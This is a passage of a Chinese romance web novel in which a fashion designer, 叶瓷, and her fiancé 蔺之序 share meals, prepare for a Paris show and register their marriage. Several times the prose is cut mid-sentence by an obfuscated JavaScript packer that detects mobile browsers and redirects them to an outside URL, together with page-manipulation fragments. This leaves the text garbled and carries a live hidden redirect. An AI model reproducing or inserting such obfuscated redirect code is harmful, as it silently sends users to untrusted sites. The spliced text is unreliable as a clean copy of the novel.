挂了电话,她转身,叶北庭刚好出了厨房,他想,一小盅燕窝应该没办法填饱肚子,“走吧,带你再去吃点儿东西。” 叶瓷告诉他:“蔺之序一会儿要过来,说……送点吃的。” 叶北庭目光在她脸上停留了几秒,然后笑着点点头,“行吧,既然有人送温暖了,我就不要再杵在这里了。” 见他抬腿就要走。 “哥哥等一下。”叶瓷快步走向露台。 片刻后,叶北庭见她拿着一个深蓝色丝绒盒子,“昨天去店里给蔺之序买生日礼物,然后看到了这个限量款,觉得特别适合哥哥。” 叶北庭接到手里,打开看过,笑道,“谢了,眼光不错。” 叶瓷也笑,“哥哥喜欢就好。” 兄妹两人一起走向电梯。 叶北庭说:“看见你和蔺之序相处得还不错,哥哥很高兴。” 当初,蔺家登门提出这门婚事,表面上看是强强联合的佳话,但叶北庭却犹豫了很久。 同在商圈,叶北庭对蔺之序有不少耳闻:眼里只有数字与合同,谈判桌上滴水不漏,手腕凌厉,为人持重锋芒内敛。 而自己的妹妹,性子清清冷冷,骨子里又有着艺术家的执拗,还是个不折不扣的工作狂。 即便走进婚姻,她生活的重心大概也还是在事业上。 叶北庭担心两家联姻,最终会变成父母悲剧的重演。 温翎当年在商场上光芒万丈,叱咤风云,而叶绍山却是个十分传统的人,认为妻子的归宿就该是在家里相夫教子。 两种不相容的观念,最终以一地鸡毛和离婚收场。 叶北庭害怕蔺之序过分的“沉稳持重”,最终会化为禁锢妹妹事业心的枷锁。 他犹豫不决的那段时间,蔺建昆和汤静娴再次登门。 叶北庭说出了内心的顾虑。 汤静娴三言两语让他打消这种念头,并承诺,婚后,蔺家绝不干涉叶瓷的事业。 正是有了这个承诺,两家的婚事才顺利进行了下去。 电梯门无声滑开,大厅通明的灯火瞬间倾泻而入。 叶北庭走在前面,高大的身影投在大理石地面上。 旋转门转动,夏夜微热的风短暂地送进来。 叶北庭的车就停在几步开外的路边,车解锁后,他转身看向叶瓷,“工作别太拼了,注意休息。” 叶瓷笑,点点头,“知道。” 叶北庭拉开车门,不远处两道车灯划破夜色,接着,黑色迈巴赫缓缓滑停在两人旁边。 车窗降下,是蔺之序。 他朝叶北庭微微颔首:“叶总。” 叶北庭也笑着打了招呼。 这时,蔺之序的目光礼节性地掠过叶北庭,随即,落在了对方手里的那个深蓝色丝绒盒子上。 车灯下,异常清晰。 叶北庭毫无所觉,坐进驾驶座,下一秒,引擎发动,“走了。” 叶瓷目送黑色跑车离开,这时,蔺之序也已经下了车,挺拔的身影立在车旁,手里提着一个硬质食盒,盒子上没有任何张扬的LOGO,只有角落一个极小的烫银“御膳轩”标记。 叶瓷看他,“麻烦你亲自跑一趟。” 蔺之序:“没什么麻烦的,”他目光在她脸上停留片刻,才道:“上去吧。” 门轻轻合上,休息室里只剩下他们两人。 食物的香气一下浓郁起来,混合着他身上淡淡的乌木沉香。 来到餐桌前,叶瓷看着他熟练地将食盒一层层打开。 金黄酥香的避风塘炒蟹,银亮鱼皮的清蒸东星斑,一份龙虾刺身三拼,还有带子酿百花,几碟蘸料摆放得一丝不苟。 “我已经吃过晚饭了。” 说着,蔺之序拉开她对面的椅子坐下。 看着眼前精致的不像外卖的菜品,叶瓷确实有些饿了。 她也不再同他客套,点点头,拿起了筷子。 在蔺之序的目光下,她也没感到太多拘束。 餐厅顶灯的光线罩着两人,空气里只有餐具的轻响和细微的咀嚼声。 她吃得很专注,还带着一种心无旁骛的满足。 蔺之序看到她在夹起一块带子酿百花时,筷头灵活地将点缀在边缘的一小圈绿色葱丝挑拣出来,堆在骨碟一角。 叶瓷吃到七八分饱才慢下来。 抬眼发现蔺之序正在看手机,他坐在那里,背脊挺直,衬衣袖口挽起,她不知道他是在忙工作还是无聊打发时间,于是问他,“你……真的不再吃点?” “不了。”蔺之序的视线扫过桌面,“味道怎么样?” “很好,”她顿了顿,看向他,“你……怎么知道我还在这里?没回家?” 蔺之序言简意赅,“我看到了你的朋友圈。” 叶瓷恍然。 又过了几分钟,看她放下筷子,拿纸巾擦手时,蔺之序知道她不再吃了,于是起身开始收拾碗碟。 叶瓷想帮忙,却被他制止了,“我来吧,你坐着休息。” 叶瓷看他骨节分明的手将碟子叠放整齐,食盒盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蔺之序:“嗯,集团在那边有几个合作需要亲自敲定细节。”他停顿了一下,似乎在斟酌措辞,然后才补充道,“有事,随时给我打电话。” 叶瓷点点头,应道:“好。” 蔺之序看着她低垂的眼睫,犹豫了一瞬。 就在叶瓷以为对话已经结束时,他又开口,声音比刚才更低了几分,“不忙的时候,也可以给我打电话。” 叶瓷和他对视,眉眼微弯,“嗯。” 灯光下,她清丽的脸庞带着一丝工作后的倦意,眼神却清澈。 蔺之序转开话题,“领证的日子,定在八月十六号,上午九点,你看可以吗?” 叶瓷:“可以。” 习惯使然,她回身拿起矮几上的手机,手指在屏幕上滑动,点开日历APP。 找到领证前一天的日期,然后设置了一个提醒事项。 输入文字时,她的指尖悬停片刻,最终输入了两个字:【领证。】 叶瓷:“好了。” 蔺之序笑了下,“嗯。” 时间不早了。 叶瓷将他送到玄关处,蔺之序停住,侧过脸看她,“早点休息。” 叶瓷笑了下,“嗯,路上注意安全。” 蔺之序笑,“好。” 说着,他转身拉开门,身影融进外面走廊略暗的光线里。 很快,门在她面前合拢,发出一声轻微的“咔哒” 15. 第15章 几场雨落下,空气里那点残余的暑气被冲刷得干干净净。 霓坊工作室。 叶瓷正俯身在工作台前。 她小心地理着一层薄如蝉翼的罩纱,然后轻轻覆在底下的蓬松裙摆上。 资深版师陈姐站在一旁,适时搭手帮忙整理。 陈姐:“总监,腰线这层硬纱的支撑骨,如果按这个弧度走,裙摆的‘绽开感’会不会不够自然?少了点花瓣舒展那种……灵气?” 叶瓷没有回答,手指在几层重叠的纱料边缘抚过,感受着不同硬度带来的垂坠差异。 “弧度不变,”她终于开口,“将支撑骨减半,用0.3mm的鱼线代替。” 说着,她又抽出一根浅粉纱线,“用这个做手工卷边,压住鱼线头。” 陈姐点点头,“明白了。” 工作台另一端,堆叠着更多为这次巴黎个人展准备的样布——雾粉、柔白、香槟金、嫩绿,材质全是柔软到极致的纱、绡、罗、缎。 大秀的日子越来越近,有关这场秀的各项工作都在紧锣密鼓地进行着。 这时,小于走近,“叶总,宁女士带着宋小姐来试礼服了,现在在VIP室。” 叶瓷直起身,对陈姐说,“腰线细节按刚才说的调整,裙摆的层叠顺序和褶皱分布,等我回来再定。” 陈姐:“好的。” 叶瓷理了理身上的米白色针织开衫,然后走向VIP室。 推开门,宁女士一身得体套装,正欣赏着墙上的设计草图。 两人刚打了招呼,就听见试衣间里传来宋舜的声音:“哎,你轻点行不行?都扯到我头发了!” “我昨天刚接的,很贵的!懂不懂啊?” 小方是个刚毕业的实习生,被宋舜这么一吼,脸涨得通红,手也僵在半空,眼神求助似的看向刚进门的叶瓷。 “宋小姐,”叶瓷的声音不高,却瞬间稳住了房间里的空气。 她走过去,目光扫过宋舜那头精心打理过的栗色长卷发,“我来看看。” 宁女士带着歉意笑道,“叶总,真是麻烦你了,这孩子,被我惯坏了……” 叶瓷没接话,只是对小方做了个“我来”的手势。 接着,她绕到宋舜身后,手法轻缓地避开接发点梳理。 整理裙摆时,她蹲下身,指尖拈起被宋舜动作带得有些缠结的裙角,一捻一提一顺,缠结瞬间解开。 “好了。”叶瓷退开一步,“去镜子前看看效果。” 宋舜撇撇嘴,但还是依言走到落地穿衣镜前。 深酒红色丝绒晚礼服,线条简洁,只在肩颈处做了不对称的镂空设计,流畅的剪裁勾描出少女的青春曲线。 刚才被助理弄乱的头发,此刻服帖地垂在肩颈两侧,平添了几分慵懒随性的美。 终于,宋舜清了清嗓子,“还行。” 宁女士立刻笑着打圆场:“什么叫还行?这礼服太衬你了舜舜。” “还有这发型,现在看着舒服多了……” 她转向叶瓷,还要继续寒暄,宋舜不耐烦地从试衣间出来,她已经换回了自己的衣服,“走吧,我还要回去练琴呢。” 宁女士脸上闪过一丝尴尬,匆匆对叶瓷说了句“小瓷辛苦,改天阿姨请你喝茶”,便急忙追着女儿出去了。 上了车,宋舜一边系安全带,一边抱怨:“你跟她说什么谢呀,那是她的工作好吗,总是摆低姿态,真受不了。” 宁女士:“这是礼貌。” 宋舜:“礼貌?真是可笑,说到礼貌,他们叶家做的那事有礼貌吗?” 前些日子,叶北庭先宋氏一步,拿下了物流园的地皮,宋董事长气得直接住了院。 宁女士:“生意场上的事说不清。” 宋舜嘴一撇:“妈,我实话告诉你吧,我最讨厌的就是叶瓷那种一副谁也不看在眼里,高高在上,又特爱装的人。” 宁女士:“我觉得叶瓷也挺好的呀,话不多,人也文文气气的——” 宋舜:“你看,你都被她蒙蔽了吧?这说明她装得好,手段高明。” “圈子里的活动从来不参加,这不就是在故意摆姿态吗,吊人胃口,显得自己多与众不同,真是的,装什么呢装。” …… 这边,小方长长吁了口气,抬手又擦了擦额头上的细汗。 叶瓷对她说,“试衣间收拾一下,把预约记录更新好。” 小方:“好的叶总。” 忙完这边,叶瓷又回到工作台前。 作为“朱丽叶玫瑰”压轴秀的作品,这件巨型裙摆雏形正静静躺在人台上。 裙身主体是十六层不同深浅的粉色调欧根纱,层叠堆砌,就像一朵含苞待放的玫瑰。 然而此刻,这朵“玫瑰”的形态还不够完美。 叶瓷拿起一小块渐变粉的欧根纱样片,对着人台上的裙摆比划。 “总监,”陈姐走过来,指着裙摆靠近腰腹位置的一处,“最外层的弧度,现在看是够了,但灯光一打,从T台侧面看过去,就会少了点花瓣的卷翘感。” 叶瓷想了想,“弧度不变,把卷边的宽度收窄三分之一。” “边缘的话,不要机器锁边,用手工撕边加微烫定型。” 陈姐若有所思地点头:“明白了。” 四十分钟后,叶瓷乘电梯回到自己办公室。 小于抱着模特卡敲门过来,“叶总,经纪公司那边新推了几位面孔过来,气质都挺特别的,你看看有没有合适的?” 说完,她把卡片摊开在叶瓷手边。 叶瓷的目光快速掠过,最后,她抽出其中一张。 照片上的女孩并非第一眼惊艳的类型,但眉宇间有种疏离又倔强的故事感,下颌线条清晰有力。 “就她了,通知经纪公司,下周一上午十点,带妆带状态过来试装。” 小于做记录,“好的。” 小于:“策划部那边根据‘朱丽叶玫瑰’主题又细化了两版背景音乐,一版偏古典弦乐,一版偏空灵电子合成音。” 叶瓷:“我待会儿再听一听。” 小于:“好的。” 叶瓷的手机响起来,小于抱起模特卡,趁她还没接电话,问了句,“叶总,我们打算点外卖,老陈家,要不要给你带一份?” 叶瓷想了想:“一份酸汤水饺。” 这些日子,大家晚上一起加班,没少吃外卖。 小于比了个OK的手势。 门从外面合上后,叶瓷接听了电话。 叶北庭:“吃晚饭了吗?” 叶瓷:“还没,小于刚点了外卖。” 电话里,叶北庭向司机要了伞,“你在车里等我。” 叶瓷下意识地:“哥哥你来了?” 叶北庭嗯了声,听筒里传来哗哗的雨声,“给你带了点儿吃的。” 挂了电话,没几分钟,叶北庭就来到了她的办公室。 他手里拎着一个纸袋,还有一些时令水果。 “路过,来看看你。” 叶北庭把东西放在小圆桌上,顺手又脱了西装搭在椅背上。 他环顾四周,“你几天没回家了?” 叶瓷笑,伸手打开纸袋,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271028|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你都替我数着了,还问我干什么。” 叶北庭也笑,然后,“十三天。” 叶瓷下意识地,“都这么久了吗?” 每天忙得连轴转,她对时间都快没概念了。 叶北庭:“对啊,整整十三天了。” 叶瓷拿起小勺,舀了一勺芋头块,“天下着雨呢,哥哥下次就不要再专门跑来给我送吃的了。” 叶北庭告诉她,“在附近开会,听说这家的甜点不错,就顺手买了。” 叶瓷挑眉:“所以又顺路给我送来了?” 叶北庭笑,“是。” 窗户开着一条缝,带着湿冷水汽的风钻进来,吹得桌上的几张草图微微晃动。 叶北庭看着她,“前两天去看外公,老人家念叨你呢。” 说到外公,叶瓷想起自己已经有小半年没见过他了。 叶北庭:“说我们小瓷订婚的时候,他躺病床上没赶上,光看照片不过瘾。问你什么时候带蔺之序过去,让他亲眼瞧瞧拐走他宝贝外孙女的是何方神圣。” 叶瓷笑,“等忙完了这阵子吧,我去看看他。” 叶北庭:“和蔺之序一起去。” 叶瓷点头:“他最近出差了。等他回来,找个周末吧,我们一起过去。” 叶北庭走后,叶瓷拿起手机,轻滑解锁。 日历应用自动展开,红色的标记圈住三天后的日期:【领证】 蔺之序出差的这些天,两人只联系过一次。 叶瓷每天都在忙,晚上闲下来时也想过要不要给他发个消息,可转念一想,他出国谈生意,行程安排肯定紧凑,忙过之后人也需要休息,于是,便作罢。 那天,她从面料库出来,看到蔺之序发的消息,叶瓷给他回复,说自己刚才正在忙。 回复过,等了半天,蔺之序才又回了一条,刚开过会,现在要去厂房参观。 …… 叶瓷的手指悬在蔺之序的名字上方,然后看了眼时间,快速推断出他那边大概是中午十一点。 数秒,终于落下。 电话接通时,她听见电流轻微的沙沙声。 “吃晚饭了吗?”蔺之序的声音透过听筒传来,比平时见面时更磁沉。 叶瓷:“还没有,不过,外卖应该快到了。” 电话那头传来纸张翻动的轻响,她问:“还在工作吗?” 蔺之序:“刚回到酒店,看了下资料。” 叶瓷:“嗯。” 蔺之序又问她:“工作顺利吗?” 叶瓷:“还行,你呢?” 蔺之序:“差不多谈妥了,接下来就是收尾工作了。” 叶瓷:“嗯。” 电话里突然安静下来。 叶瓷听见彼此的呼吸声交织在电流里,好像有一张无形的网将两人包裹起来。 有人敲门,叶瓷抬头望过去,是小于。 “叶总,酸汤水饺。” “谢谢。” 离得近,小于这才发现她在打电话,于是脚步放轻,连忙合上门出去了。 蔺之序:“要吃饭了吗?” 叶瓷:“嗯。” 蔺之序:“那你先吃饭吧。” 叶瓷:“好。” 电话没断,叶瓷在等他挂电话,数秒,她意识到他大概在等她先挂断。 叶瓷忽然想起来,“……对了,还有一件事。” 蔺之序:“你说。” 叶瓷:“我外公他想见见你,我们订婚那天,他在医院,没能来参加。” 蔺之序:“好,等回国后,我陪你一起去。” 16. 第16章 叶瓷坐在会议桌首位,面前的平板上实时更新着各部门的汇报数据。 设计部主管正在汇报样衣进度:“意大利进口的主打系列面料,通关手续遇到临时审查,预计到库时间比原计划延迟三天。” 叶瓷抬头,“是因为质量问题吗?” 主管:“不是质量问题,是例行的批次抽检,不过,我们已经联系了代理和海关,对方承诺最迟后天中午放行。” 叶瓷点点头,又问,“染厂加急协议签了吗?” 主管:“签过了。” 叶瓷:“染厂小样出来,第一时间送检,还有,色牢度是底线,不能有断层。” 主管:“好的叶总。” 生产总监紧接着汇报:“主秀款腰线堆褶工艺已经调整,减薄了欧根纱,密度减半。” 叶瓷:“新样衣下午能出吗?” 生产总监:“可以。” 叶瓷点点头,指尖在平板上轻点,“下一个,市场部。” 会议在高效而紧凑的节奏中推进。 一个小时后,叶瓷合上平板,“每个部门的工作进度,要在每天下午五点前邮件发给我。散会。” 众人离开,会议室迅速安静下来。 叶瓷最后一个起身。 回到办公室,合上门,隔绝了外界,她走到办公桌前,没有立即坐下,而是抬手用力按压了几下突突跳动的太阳穴。 连日的高强度运转,即使是习惯了高压的她,身体也感到了清晰的疲惫。 办公室的门被推开一条缝,叶溦探进头来,“姐。” 叶瓷放下手,“进来。” “超大杯哦,拯救你的下午!”叶溦说着,献宝似的将一杯还冒着热气的咖啡放在她桌子上。 叶瓷拿过,笑道,“谢谢溦溦。” 低头啜饮一口,她想起来,“你今天没课吗?” 叶溦:“学校网球联赛周,管得不严,我光明正大出来的。”说完,她凑过去,双手撑在桌沿,“姐,跟你商量个事儿?” 叶瓷看她,“什么事?” 叶溦笑,“十月份的巴黎时装周,姐姐带我去好不好?……因为,听说江晏也会去。” 叶瓷了然,唇角随即勾起清浅的弧度:“哦?又是江晏?” 今年的新晋顶流江晏,叶溦是他的死忠粉。 “我想要他的签名,顺便再合个影,姐,你就带我去好不好?” 叶瓷无奈一笑,“好好,行程和入场资格晚点发你。不过,现在你要回学校去,联赛周自由,也不是让你整天在外面晃的。” “是,叶总!”叶溦俏皮地朝她敬了个礼,“那我就撤啦,姐你记得喝咖啡。” 叶溦走后,办公室又恢复平静。 叶瓷处理完几封紧急邮件,起身去倒咖啡,搁在旁边的手机屏幕倏地亮起。 不是来电或信息。 屏幕中央,一个简洁的日历图标弹出提醒框,黑色的字体清晰无比:【领证】 叶瓷看着那两个字,有瞬间的恍惚。 备战时装周的千头万绪和连日的疲惫,在这一刻,被这个简洁的日期提醒归拢。 她放下咖啡杯,拿起手机。 微信图标上,一个红色的“1”赫然在目。 蔺之序的消息是两个小时前发来的,当时她还在会议室,手机静音。 蔺之序:【刚落地京北,下午回公司处理些事情,晚上有时间见一面吗?】 叶瓷垂眸打字:【嗯。】 几乎是同时,对话框顶部显示“对方正在输入……” 片刻,蔺之序:【晚上想吃什么?】 被问,叶瓷下意识地想到了一家家常菜餐厅。 于是打开手机软件,找到那家店的定位,给蔺之序发了过去。 蔺之序:【好的,七点,让司机去接你。】 还有两个小时,叶瓷伏案休息了会儿,然后下楼去版房看样衣,和版师陈姐交流完主秀款的裙摆问题时,已接近七点。 她回休息室换了衣服,持续的高强度工作让她眼睑下方浮出淡淡的青影,她对着镜子化了妆,又选了显气色的口红色号。 出门进电梯,季叔的电话打来,“少奶奶,我到了。” 被这样称呼几次,叶瓷现在已经适应了,“好,我正在下楼。” 今晚她选的这家餐厅是她很久以前的一个客户推荐的。 后来,她又陆续来过两次,整体感觉还不错。 胡同狭小,车根本进不来,叶瓷在胡同口下了车。 服务生上来引路。 廊道竹影绰绰,她订的包厢在长廊尽头,推开门,她一眼就看见了蔺之序。 他正坐在靠窗的位置低头看文件,纯黑三件套西装在暮光中呈出凌厉的剪影。 叶瓷停在门口,见他右手拿笔在一份文件上写着什么,肩胛骨线条在精良剪裁的西装下若隐若现。 她见过太多穿西装的男人,但能把商务正装穿出这种锐利美感的人,蔺之序是唯一一个。 叶瓷刚要迈步,就见他似乎是感应到了什么,抬头望过来。 四目隔空相对。 叶瓷心里突然腾起一种许久不见的感觉。 蔺之序的目光在她身上多停留了数秒,她今天穿了一条简单的白色连衣裙,仍旧没有多余的饰品,只在左手腕戴了一块玫瑰金手表。 他合上文件,然后起身。 近了,他伸手接过她臂弯里的焦糖色风衣。 “刚让他们上了冰镇杨梅。” 叶瓷收神,然后点点头。 冰镇杨梅汤是这家店里的招牌饮品,每次来,叶瓷都会点上一杯。 眼睛看向桌子,两份,紫红色的果肉在玻璃杯里浮沉,杯壁上还凝着细密的水珠。 落座,叶瓷喝了一口,酸甜沁凉,身体里的倦意顿觉轻了几分。 服务生适时递上菜单,蔺之序看向叶瓷,“你来点吧。” 蔺之序没来过这家餐厅,他想,既然叶瓷选了这里,以前应该来过,有自己的喜好。 叶瓷听他这样说,也没推辞。 她知道他没有什么特别忌口的,除了甜点。 她目光扫过那些菜名,很快,点餐结束。 服务生出去后,叶瓷问他:“出差顺利吗?” 蔺之序唇角弯了下,“还算顺利,问题基本都解决了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271029|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶瓷笑,“恭喜。” 这个项目谈判了这么久,过程肯定艰辛。 “你呢?”蔺之序问她,“工作还顺心吗?” 叶瓷手指轻触着玻璃杯壁,发出极微小的轻响,片刻,“还可以。” 蔺之序微微颔首,她的状态很容易就能看出是熬了夜的,尤其是时装周的日子越来越近,她承受的压力可以想象。 菜被陆续端上来,叶瓷开始用餐,因为是按照自己的喜好点的菜,她担心有的不合蔺之序的口味,抬头看过去,他刚好放下了公筷。 接着,他将一小盘“葱烧海参”推到她手边,叶瓷看到最上面的那层葱丝已经被拨到了盘子边缘。 蔺之序的声音落下,“上次见你把它们都挑了出来。” 叶瓷微怔,拿筷子的手指蜷了蜷,刚才点餐时,她忘记了备注不加葱丝。 没想到,他竟然留意到了自己的这个习惯,惊喜之余,她笑道,“谢谢。” 蔺之序也笑了下,然后转开工作话题。 接下来的用餐过程,两人偶尔聊上几句,虽然有一半的时间都是安安静静的,不过一顿饭下来,叶瓷觉得也挺自在的。 用餐结束,两人一起出来。 季叔已经将车停在了胡同口,蔺之序问她,“还要回工作室吗?” 叶瓷看时间,今天的工作暂告一段落,自己也好久都没回家了,“回家吧。” “好。” 蔺之序替她拉开车门,“小心台阶。”他的右手虚悬在车门框上方。 一个很绅士的动作。 他做出来时又有着说不尽的温柔。 叶瓷的高跟鞋踩在不平整的路面上,纤细的鞋跟微微陷入缝隙,她刚要抬步,蔺之序的手已经递到眼前。 他的手掌宽大,指节分明,此时,掌心朝上形成一个支撑。 叶瓷略迟疑一瞬,然后将手轻轻搭了上去。 相触的刹那,他手腕微转,接着稳稳握住了她的手。 因为他俯身的动作,西装前襟不可避免地掠过她的裙摆,带起一阵若有似无的橙花香气。 车门关上,坐稳后,叶瓷发现自己的裙角还压着他的一线衣摆,白丝绸和黑色西裤在昏暗车厢里难分彼此地交叠着。 车子缓缓启动,叶瓷不动声色地轻轻拽了一下裙摆,丝绸从西装上滑了下来。 檀木香氛系统无声运转,片刻,蔺之序取出手机,屏幕亮起的冷光映出他的下颌线。 他接起电话,声音不高,“数据模型要重做,具体方案等我回去处理。” 电话挂断,他又打开了邮箱。 车厢里很安静,叶瓷低头看了眼明天的工作行程,然后转脸望向窗外。 玻璃上映出蔺之序的侧影,他还在处理工作,手指停顿数秒,又继续输入打字。 蔺之序处理完几个邮件,转脸,发现叶瓷已经睡着了。 她的头微微偏向一侧,原本挽起的长发松散了几缕,垂落在她白皙的颈侧,唇上的口红因为晚餐褪去了些,露出原本柔嫩的浅粉色。 她的唇形特别好看,带着一种天生的微绒感——收回视线,蔺之序伸手按下控制键,将她的座椅缓缓放平。 17-20 第17章 第17章 领证 叶瓷从混沌的睡意中醒过来时, 她的第一反应,这不是自己的车。 意识回笼的瞬间,她身体微僵, 她竟然在蔺之序的车上睡着了。 “醒了?” 蔺之序低沉的嗓音在身侧响起。 叶瓷坐直身体, “抱歉。” 她开口, 声音还带着刚睡醒的微哑。 蔺之序扫一眼她微乱的鬓角,最终落在她的眼眸上, “刚到。” 叶瓷望望窗外,熟悉的叶家宅邸。 她伸手去拿包, 却意外触到扶手箱侧面的镶钻补妆镜和折叠梳。 之前坐车时她没留意, 现在细看,她发现和自己车里的竟然是同品牌同系列。 这些都不是蔺之序车上的东西, 或者说, 不该是。 “你……” 她抬眼看向蔺之序, 清冷的眸子里映出些许困惑。 蔺之序神色未动,“上次在你车里, 留意到这些。想着你以后坐车或许会用到,所以,就准备了一套。” “哦, ”叶瓷将镜子轻轻放回原处,“谢谢。” 蔺之序按下车内通讯键, “季叔, 把东西搬下来。” 季叔应声下车,动作利落地打开后备箱。 叶瓷低头整理自己的裙摆,抬头间,她看到车旁蔺之序挺拔的身影,深色西装在灯下泛着衿贵的微光。 他是在等她。 两人穿过庭院, 叶瓷看见门厅里堆成小山般的奢侈品。 不同奢牌的巨大防尘袋,还有数个顶级羊绒品牌的专属礼盒。 饶是她见惯世面,也略感意外。“这些是?” “在欧洲几处停留,看到这些适合你,算作……”他眼底掠过一丝难以捕捉的情绪,“新婚礼物。” “新婚礼物”四个字被他用低沉平稳的声线说出来,竟有一种奇特的仪式感。 “我……” 叶瓷一时语塞,脸上浮现歉意,“我什么都没准备。” 这是实话。 在她的行程表里,领证只是明天日历上一个待勾选的符号。 蔺之序微微摇头,目光锁住她,“你在这里就够了。” 叶瓷抬眼看他,然后,轻轻哦了声。 这场由家族促成的婚姻,此刻因为他的话,还有这些明显耗费了心思挑选的奢侈品,以及车内那套照顾她习惯的备用品,平添了难以言喻的重量。 叶瓷第一次清晰地意识到,这位沉稳持重的未婚夫,似乎比她预想中更认真地履行着丈夫这个角色。 叶瓷:“要进来喝杯茶吗?” 蔺之序看眼时间,“不用了,明早九点,我来接你。” 虽然婉拒,可他的目光却在她脸颊上停留了片刻,“今晚,好好休息。” 叶瓷点点头:“你也是。” 翌日清晨。 叶瓷比约定时间提前了十分钟下楼。 她选了一条珍珠白衬衫裙,勾勒出清瘦却不失韵味的线条。 九点,蔺之序的车准时停在了门前。 他今天穿了一身深灰色高定西装,同色系马甲,领带是接近黑色的墨蓝,一丝不苟,气场沉静而强大。 他下车为叶瓷拉开车门,视线在她身上停留一瞬,最后落在了她无名指上的婚戒。 蔺之序眸光微动,像是确认了什么重要事项般,唇角几不可察地松动了半分。 上车后,叶瓷轻轻地转了转戒指。 这是今早她特意戴上的,时间短,戒圈熨帖着皮肤,她还有点儿不习惯。 民政局比预想中热闹。 排队时,前面是一对年轻的小情侣。 数分钟后,这对小情侣拿着红彤彤的结婚证出来了。 “恭喜恭喜!百年好合!” 活泼的女孩子来到叶瓷面前,不由分说地将一把包装缤纷的喜糖塞进她手里。 叶瓷猝不及防,掌心被甜蜜的重量填满,花花绿绿的糖纸在她白皙的手里格外鲜活。 她被这突如其来的热情感染,“同喜同喜。” 回到车上,隔绝了外界的喧嚣。 叶瓷拿出那本簇新的结婚证,红得耀眼。 照片上的两人,神情端肃,姿态得体,她忽然意识到,这两个红本正在编织着一张看不见的网,将她和蔺之序缠绕在了一起。 想到这里,她不自觉地从掌心的糖果里挑出一颗,剥开糖纸,放进嘴里。 瞬间,荔枝的甜意在舌尖漾开。 “味道如何?”蔺之序声音响起,打破了车里的宁静。 叶瓷侧过头,“很甜。” 说着,她将手中剩下的糖果摊开,递到他面前。 不过,她突然想起来他不喜欢吃甜的,正犹豫着要不要收回手,就看见他修长的手指精准地从一堆糖果中,也拿起了荔枝味的硬糖。 他慢条斯理地剥开,前排驾驶座,季叔笑出了声音。 “季叔?” 蔺之序抬眼,投向车内后视镜。 镜子里,季叔笑得眼睛眯成了缝,脸上的皱纹都舒展开了。 “少爷,不好意思,我就是……太高兴了!” 季叔的声音满是掩不住的笑意,“打从你会吃饭起,就丁点甜食不沾,少奶奶给的糖,滋味不一样吧?好,真好!祝你们百年好合,早生贵子啊!” 季叔的祝福朴实又真挚,带着长辈的欣慰。 蔺之序面上依旧没什么波澜,只是喉结微不可察地滑动了一下,似乎在适应口腔里陌生的甜。 他没有回应季叔的打趣,而是拿出手机,对着两本摊开的结婚证,调整角度,拍了一张清晰的照片,发送给了汤静娴。 很快,叶瓷放在包里的手机连续震动了两下。 她拿出来一看,是汤静娴的信息。 一笔转账,备注着“囍”。 叶瓷没有立刻点开,而是看向旁边的蔺之序,“伯母给我转了账。” 蔺之序:“她的心意,你直接收了。” 叶瓷哦了声,然后点开收下,接着又打字回复:【谢谢伯母。】 汤静娴的信息秒回:【这是我们两个长辈的心意,今天你们小两口好好庆祝,明天回家吃饭,我让厨房准备你们爱吃的,我们大家再一起庆祝一下!】 叶瓷:【嗯好的。】 放下手机,她看向蔺之序:“伯母让我们今天自己庆祝。” 蔺之序问:“你想怎么庆祝?” 叶瓷闪过一个念头,“去海城吧,外公他一直都想见见你。” 蔺之序:“好。” 车子平稳地驶向海城。 两个小时后,他们来到了依山傍海,环境清幽的别墅区。 庭院里,温书言正弯着腰,给一盆罗汉松修剪枝叶。 听到车声,他直起身,推了推鼻梁上的老花镜。 当看到叶瓷和蔺之序牵着手走进来时,老人脸上瞬间乐开了花,“哎哟,阿瓷回来了!” 温书言放下剪刀,迎上去,目光却第一时间落在蔺之序身上,上下打量着,“好,好!比照片上看着更精神,更沉稳。” 蔺之序恭敬地颔首:“外公好,我是蔺之序。” 温书言笑,“好好好!快进来!” 精心打理的庭院,各种花草错落有致,角落里还有一个小巧的锦鲤池。 正走着,叶瓷看见熟悉的原木秋千架,心血来潮,她坐了上去。 秋千微微晃动,蔺之序还在和外公说着话,等了会儿,她看向蔺之序,“推我一下。” “好。” 蔺之序走到她身后,手轻轻搭在秋千椅背上,微微施力。 秋千荡起,叶瓷的发梢被风扬起,几缕调皮地掠过他的西装袖口,蔺之序没有说话,专注地控制着秋千的幅度。 保姆端来切好的水果,三人坐在院中闲聊。 温书言讲起叶瓷小时候的糗事,叶瓷偶尔嗔怪地打断,蔺之序则安静地听着,适时递上纸巾或茶水,照顾周到。 晚餐是丰盛的家常菜。 席间,温书言拿出一个厚厚的红包,推到蔺之序面前。 蔺之序微微一怔,看向叶瓷,眼神带着询问。 叶瓷正细心地将一只清蒸蟹的蟹肉剔出来,放进外公的碟子里。 感受到他的目光,她抬起头,用口型无声地说:“快收下。” 接着她跟蔺之序解释:“这是外公的心意,也是我们家的规矩,新姑爷第一次上门,得收下长辈的祝福。” 